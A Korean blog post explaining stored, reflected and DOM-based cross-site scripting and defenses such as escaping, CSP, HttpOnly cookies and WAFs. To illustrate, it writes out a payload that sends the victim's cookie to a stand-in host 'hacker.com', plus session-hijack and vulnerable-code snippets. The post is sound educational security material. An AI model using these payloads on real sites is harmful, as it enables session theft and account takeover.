Post

XSS와 대응방안

XSS와 그 대응방안에 대해 알아봅시다.

XSS와 대응방안

XSS와 그 대응방안에 대해 알아봅시다.

크로스 사이트 스크립팅

공격자가 웹사이트에 악성스크립트를 삽입하여 사용자에게 실행되도록 하는 취약점입니다. XSS의 공격 대상은, 웹사이트의 사용자입니다. 원리는 악성 스크립트를 삽입하여 실행시킨다는 것을 이용합니다. 악성코드를 삽입하여 탈취한 정보로 세션을 탈취, 혹은 phising에 사용됩니다.

Stored XSS (persistent 기법)

공격자가 악성 스크립트를 웹 애플리케이션의 데이터베이스에 저장하고, 해당 데이터가 웹 페이지에서 사용자에게 제공될 때 실행되는 방식입니다.

“stored” 해당 공격은 저장되어있는 데이터(악성코드가 함께 저장되어있는 데이터)를 이용하는 페이지에 방문한 모든 사람에게 영향을 줄 수 있는 특징이 있습니다.

있음직한 시나리오로는,

  1. 해커가 게시글을 저장할 때 악성코드가 포함된 게시글을 작성해 서버에 보내고,
  2. 서버에서는 해커가 입력한 값에 대해 필터링없이 바로 DB에 저장.
  3. 해당 게시글을 열어보는 모든 유저에게 해커의 악성코드가 실행된다.

Reflected XSS (non-persistent 기법)

공격자가 조작한 HTTP요청이 서버에서 처리되어 그대로 브라우저에 반환될 때 발생합니다.

“reflected” 를 통해 유추해보자면, 공격자의 악성 코드가 서버에서 처리되어 피해자에게 돌아오기 때문에 붙여짐을 알 수 있습니다!
서버가 입력값을 검증 없이 응답 페이지에 삽입하여 반환하기 때문에 발생합니다.

해당 부분이 잘 이해가 가지 않아 시나리오를 작성해보았습니다.

  1. 공격자가 조작된 URL을 피해자에게 보냄
  2. 피해자가 클릭하면 요청이 서버로 전달됨
  3. 서버가 입력값을 검증없이 그대로 응답에 포함 -> 브라우저에서 실행됨
  4. 악성 Javascript가 실행되어 쿠키를 탈취함
  5. 공격자가 피해자의 계정으로 로그인하여 추가적인 공격 수행

여기서 핵심은 요청할 때 마다 반사되어 브라우저에서 실행되는 것입니다.

혹시나 저처럼 여기서 이해가 잘 되지 않았던 점이 있으시다면..

해당 링크를 상대방이 실행되려면 해당 링크가 어딘가에는 저장되어야 되는 것이 아닌가?
해당 링크가 실행되는 사이트는 해커의 것이 아닌데 마음대로 어떻게 되는것인가?

조작된 URL을 이메일, SNS, 메신저와 같은 곳으로 피해자에게 보내는데, 이런식으로 보낼 수 있겠죠.

1
[업데이트를 확인하세요! / 메세지를 확인하세요! / ...](https://thisSiteHasVulnerablity.com/event?q=<script>document.location='http://hacker.com/steal?cookie='+document.cookie</script>")

https://thisSiteHasVulnerablity.com 해당 도메인이 XSS에 취약하다는 것을 해커가 이미 알고 있는 것입니다. 해당 도메인에 로그인이 되어있던 상태라면 피해자의 로그인정보를 담고있는 쿠키의 정보가 해커에게 보내게 되는 것이죠.

<h1>Event Page</h1>
<p>검색 결과: <script>document.location='http://hacker.com/steal?cookie='+document.cookie</script></p>

즉, 결과적으로 Javascript가 피해자의 브라우저에서 실행이 되는 것입니다. (Reflected)
해커는 탈취한 쿠키 값으로 피해자의 계정으로 로그인을 할 수 있게 됩니다.

1
2
document.cookie = "session=abcdefg12345"; // 피해자의 세션 쿠키 설정
window.location = "https://thisSiteHasVulnerablity.com/dashboard"; // 자동 로그인

요즘은 session기반이 아닌 jwt token을 이용해 인증을 하기 때문에 만약 jwt token이 탈취되었다면 이런식으로 요청을 보낼 수 있겠죠

1
2
3
GET /user/profile HTTP/1.1
Host: victim.com
Authorization: Bearer ey...

JWT token이 탈취되었을 때를 대비해 1. 짧은 만료 시간 설정 2. Refresh Token 전략, 3. jwt에 client의 ip or user-agent … jwt 토큰 유효성을 확인할 때 같이 체크 등의 방안이 있을 수 있겠습니다. 해당 부분은 어떤 서비스를 제공하느냐 등에 따라 다르겠네요.

DOM-based XSS (DOM 기반 XSS)

서버가 아닌 클라이언트 측에서 발생하는 XSS로, 웹페이지의 DOM조작을 통해 악성스크립트가 실행됩니다. 서버를 거치지 않고 client-side에서 실행되는 XSS이어서 탐지가 어렵다는 특징이 있습니다.

이 것도 조금 헷갈리는 게 있어서 정리해보자면, 취약한 코드는 서버에서 이미 가지고 있는 코드입니다. 서버에서 -> 클라이언트한테 주는 코드입니다. 하지만 해당 코드는 다시 서버에 오지 않고 HTML을 조작하는 코드입니다. 해커가 분석을 해보니 취약한 코드가 있는 것을 알아낸 것이죠. reflected처럼 조작된 URL을 피해자가 누르게끔 유도합니다.https://thisSiteHasVulnerablity.com/page.html?<script>alert('XSS')</script>

<!DOCTYPE html>
<html>
<head>
    <title>DOM-based XSS Example</title>
</head>
<body>
    <script>
        // 서버에서 클라이언트(브라우저)에게 제공하는 취약한 코드
        document.write("<h1>" + location.search.substring(1) + "</h1>");
    </script>
</body>
</html>

document.write()라는 취약한 코드가 담긴 html문서를 server에서 받았습니다. 해당 script는 client-side에서 실행되는 코드이지요. 해커가 준 URL을 눌렀으면 <script>alert('CSS')</script>가 바로 실행되는 것입니다.

그 외 취약한 함수로는

  1. eval() 입력값을 코드로 실행
    • eval(userInput);
  2. innerHTML 입력값을 HTML로 삽입
    • element.innerHTML = userInput;
  3. outerHTML 요소자체를 변경
    • element.outerHTML = userInput;
  4. setAttribute() HTML속성 변경
    • element.setAttribute(‘onmouseover’, userInput)
  5. location.href 리디렉션 조작 가능
    • location.href = userInput
  6. location.search, location.hash URL 파라미터 읽기
    • document.write(location.search);
  7. window.open() 새 창을 열고 실행 가능
    • window.open(userInput);
  8. setTimeout(), setInterval() 문자열 실행 가능
    • setTimeout(userInput, 1000);

XSS 대응방안

  1. 입력값 검증 (Input Validation)
    • 사용자가 입력하는 데이터를 저장하기 전에 스크립트 코드를 차단합니다. <script>, onerror, onclick, javascript:
    • 서버 측에서 정규식을 사용하여 위험한 코드를 제거합니다. (클라이언트 측에서 필터링은 신뢰하면 안됨)
    • 허용된 HTML 태그만 남기도록 화이트리스트 방식을 적용합니다.
  2. 저장 시 필터링 (Storage Filtering)
    • 저장 시 악성 코드가 포함되지 않도록 화이트리스트(허용된 문자만 저장)방식 적용
  3. 출력 시 이스케이프 처리 (Output Escaping)
    • 데이터를 출력할 때 HTML에서 <&lt; >&gt;로 변환합니다.
    • Javascript에서 innerHTML는 사용하지 않고, innerTEXTor textContent를 씁니다.
  4. CSP를 적용합니다.
    • Content-Security-Policy script-src 'self'를 적용해 외부 스크립트 실행을 차단합니다.
  5. 보안 헤더를 적용합니다.
    • HTTP-only & Secure 쿠키를 설정해 쿠키 탈취를 방지합니다. Set-Cookie: 으로 쿠키 세팅 시, HttpOnly; Secure 옵션을 추가하여 Javascript에서 쿠키 접근을 차단하고 HTTPS에서만 쿠키를 전송하도록 합니다.
  6. WAF(Web Application Firewall) 사용
    • 웹 방화벽으로 XSS 패턴을 탐지해 차단합니다. (SQL Injextion, XSS, CSRF 등 다양한 웹 공격을 탐지 가능)

CSP, WAF ?

CSP는 브라우저에서 악성 코드 실행을 방지
Web Application Firewall은 서버 앞에서 악성 요청 필터링

여기까지 XSS에 대해 알아보았습니다. 해당 개념을 들었던 것은 꽤나 예전입니다만 보안을 공부하면서 궁금한 점을 파고들어갔더니 잘 이해되었습니다! 특히 어떻게 혼자 실행이 된다는 거지? 싶었던 것들을 보며 코드를 작성할 때 주의해야겠다는 생각도 드는군요👩‍💻

참고문헌 및 각주

https://owasp.org/www-community/attacks/xss/

This post is licensed under CC BY 4.0 by the author.